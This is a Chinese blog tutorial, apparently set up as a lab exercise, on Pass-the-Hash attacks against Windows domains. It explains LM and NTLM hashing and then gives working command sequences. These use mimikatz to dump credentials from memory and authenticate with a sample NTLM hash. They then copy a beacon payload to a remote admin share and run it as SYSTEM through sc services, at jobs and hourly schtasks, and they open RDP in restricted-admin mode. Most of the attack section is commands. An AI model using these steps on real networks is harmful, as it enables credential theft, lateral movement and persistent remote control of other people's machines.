• 内网渗透——哈希传递


    哈希传递

    哈希传递攻击(Pass The Hash)是基于 NTLM 认证缺陷的一种攻击方式,攻击者可以利用用户的密码哈希值来进行 NTLM 认证。在域环境中,大量计算机在安装时会使用相同的本地管理员账号和密码。如果计算机的本地管理员账号密码相同,攻击者就能使用哈希传递攻击的手段登录到内网中的其他计算机。

    1. 概念

    早期SMB协议铭文在网络上传输数据,后来诞生了LM验证机制,LM机制由于过于简单,微软提出了WindowsNT挑战/响应机制,这就是NTLM。

    在 Windows 中,最常见的两种认证体系便是 NTLM认证和 Kerberos认证了,

    哈希传递全称:ntml哈希

    在 Windows 中是不会保存明文密码的,只会保存密码的哈希值。 其中本机用户的密码哈希是放在本地的 SAM 文件 里面,域内用户的密码哈希是存在域控的 NTDS.dit 文件 里面。在渗透测试中,通常可从 Windows 系统中的 SAM 文件和域控的 NTDS.dit 文件中导出所有用户的Hash。导出来的哈希经常会看到这样的格式:

    Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
    
    • 1

    其中的AAD3B435B51404EEAAD3B435B51404EE是LM Hash,31D6CFE0D16AE931B73C59D7E0C089C0是NTLM Hash。

    1.1 LM

    LM Hash 的全称为 LAN Manager Hash,这是 Windows 中最早用的加密算法。

    LM Hash的计算方式如下:

    1. 用户的密码转换为大写,密码转换为16进制字符串,不足14字节将会用0来再后面补全。

    2. 密码的16进制字符串被分成两个7byte部分。每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度

    3. 再分7bit为一组,每组末尾加0,再组成一组

    4. 上步骤得到的二组,分别作为key 为 "KGS!@#$%"进行DES加密。

    5. 将加密后的两组拼接在一起,得到最终LM HASH值。

    image-20231009162152746

    缺点:可逆

    1.2 NTLM

    为了解决 LM Hash 加密和身份验证方案中固有的安全弱点,Microsoft 于1993年在Windows NT 3.1中引入了NTLM协议

    LM Hash的计算方式如下:

    1. 先将用户明文密码转换为十六进制格式。

    2. 将十六进制格式的密码进行Unicode编码。

    3. 使用MD4摘要算法对Unicode编码数据进行Hash计算。MD4无法进行逆推)

    image-20231009143847243

    2. 原理

    哈希传递是能够在不需要账号明文密码的情况下完成认证的一个技术,比如NTLM Hash、LM Hash都不需要明文密码因此都可以被称为Hash传递攻击。

    NTLM验证靠HASH值

    1. 获得一台域主机的权限

    2. Dump内存获得用户hash

    3. 通过pass the hash尝试登录其他主机

    4. 继续搜集hash并尝试远程登录

    5. 直到获得域管理员账户hash,登录域控,最终成功控制整个域

    image-20231009162627364

    image-20231009192029113

    说明

    • 服务器上有user用户的明文密码,服务器会将user的明文密码转换为ntlm哈希并储存起来。

    • net-ntlm hash并没有在互联网上进行传输,都是在服务器中进行的操作。

    • challege并不是在一段时间内都有用,给每个用户提供的challege是不一样的,并且每一个challege只能用于一次通信。

    通过认证流程我们不难看出,只要有NTLM哈希在手,哪怕不知道明文密码也可以完成NTLM的认证

    注意

    • 哈希传递只针对相同密码进行攻击,相同密码是存在风险的,实现无密码来绕过认证进行登录。如果当前主机的哈希值和域内或者工作组内其他电脑的哈希不一致那么哈希传递就没有任任何效果

    • 远程桌面(3389)和文件共享(445)都使用的是ntlm进行认证。

    哈希传递的利用场景

    • 在传递的过程中必须得有hash值,在内网渗透的时候已经提前拿下了一台主机的控制权限。(在win10电脑上抓明文密码是抓不出来的,电脑上的密码存放在SAM文件中,在SAM文件中存放着的是ntlm哈希。)

    3. 利用

    实验环境

    • 域控:server 2008
    • 成员机:Windows 7
    • 域控和成员机的密码要一致。

    3.1 hash传递浏览上传文件

    当域内的用户想要访问域中的某个服务时,输入用户名和密码访问,本机kerberos服务会向KDC的AS认证服务发送一个AS-REQ认证请求。该请求包中包含:请求的用户名、客户端主机名、加密类型和Authenticator(用户NTLM Hash加密的时间置)以及一些其他信息。

    在AS-REQ阶段,是用的用户密码Hash加密的Authenticator.,所以也就造成了hash传递。我们只需要获取域用户Hash,同时目标机器开放smb服务,就可以进行Hash传递攻击。

    mimikatz工具

    image-20231009172218281

    mimikatz以管理员身份进行运行

    image-20231009175854629

    privilege:debug					# 提升权限(注:需以管理员权限运行)
    
    sekurlsa:logonpasswords			# 获取内存中保存的登录信息
    
    sekurlsa:pth /user:administrator /domain:qf.com /ntlm:a803cf45d87009c404eb89df4blae94c
    
    # 弹出新窗口
    dr\\10.10.10.254\c5
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    说明

    • pth:pass the hash(哈希传递)后面跟上所传递的用户(注意该用户一定是对方服务器存在的用户),所在的域,以及哈希值。
      image-20231009180151734

    查看C盘下的文件

    image-20231009180240347
    在这里插入图片描述

    查看文件内容

    image-20231009200613431

    说明:弹出的窗口,表示所有的认证流程及工具装配好了,想攻击哪个主机只需输入哪个主机的IP即可。

    #sc命令创建计划任务
    copy beacon.exe \\10.10.10.254\c$
    
    #sc命令远程创建名为test的服务
    sc \\10.10.10.254 create test binpath= "c:\beacon.exe"
    
    #远程查询名为test的服务
    sc \\10.10.10.254 query test
    
    #远程启动名为test的服务
    sc \\10.10.10.254 start test
    
    #远程删除名为test的服务
    sc \\10.10.10.254 delete test
    
    #at命令(计划任务) at命令在早期的Windows系统中⽀持,⽽新版本Windows已经⽤schtasks命令取代at命令了。
    
    #查看⽬标系统时间
    net time \\10.10.10.254
    
    #将本⽬录下的指定⽂件复制到⽬标系统中
    copy vps.exe \10.10.10.254\c$
    
    #使⽤at创建计划任务
    at \10.10.10.254 14:37 C:\vps.exe
    
    #清除at记录
    at \10.10.10.254 做业ID /delete
    
    #使⽤at命令执⾏,将执⾏结果写⼊本地⽂本⽂件,再使⽤type命令查看该⽂件的内容
    at \10.10.10.254 17:00:00 cmd.exe /c "ipconfig > C:/1.txt "
    
    #查看⽣成的1.txt⽂件
    type \\10.10.10.254\C$\1.txt
    
    #schtasks命令(计划任务)
    #在⽬标主机10.10.10.254上创建⼀个名为test的计划任务,启动权限为system,启动
    时间为每隔⼀⼩时启动⼀次
    schtasks /create /s 10.10.10.254 /tn test /sc HOURLY /mo 1 /tr
    c:\beacon.exe /ru system /f /U administrator /P 1234.com
    
    其他启动时间参数:
    /sc HOURLY 	每⼩时启动⼀次
    /sc onlogon ⽤户登录时启动
    /sc onstart 系统启动时启动
    /sc onidle 	系统空闲时启动
    
    #查询该test计划任务
    schtasks /query /s 10.10.10.254 /U administrator -P 1234.com |
    findstr test
    
    #启动该test计划任务
    schtasks /run /s 10.10.10.254 /i /tn "test" /U administrator -P
    1234.com
    
    #删除该test计划任务
    schtasks /delete /s 10.10.10.254 /tn "test" /f /U administrator -P
    1234.com
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58

    3.2 hash传递获取域控RDP

    privilege::debug
    sekurlsa::pth /user:administrator /domain:xiusafe.com /ntlm:a803cf45d87009c404eb89df4b1ae94c "/run:mstsc.exe
    /restrictedadmin"
    
    • 1
    • 2
    • 3

    image-20231009193208334

    如果域控这个位置是灰色那就不允许这种方式登录,注册表还能挣扎⼀下

    4. 总结

    哈希传递可以实现任何基于ntlm协议认证的攻击,哈希传递攻击是针对相同密码用户认证之间发起的攻击,如果域内的其他主机密码和失陷主机上的密码一致,那么哈希值就一致,在哈希值一致的情况下,就不需要明文密码就可以登录对方主机的远程桌面,查看对方主机的C盘,危害极大。

  • 相关阅读:
    有点奇怪!访问目的网址,主机能容器却不行
    Flink中KeyBy、分区、分组的正确理解
    【Docker】03-安装redis
    Docker Compose和Consul
    STL初识
    触摸屏驱动
    《微信小程序开发从入门到实战》学习二十
    R语言随机波动模型SV:马尔可夫蒙特卡罗法MCMC、正则化广义矩估计和准最大似然估计上证指数收益时间序列...
    (十四)VBA常用基础知识:当前excel文件所有sheet循环,获取sheet名,获取最大行数最大列数
    案例:购物车(Vue基础)
  • 原文地址:https://blog.csdn.net/weixin_58783105/article/details/133717653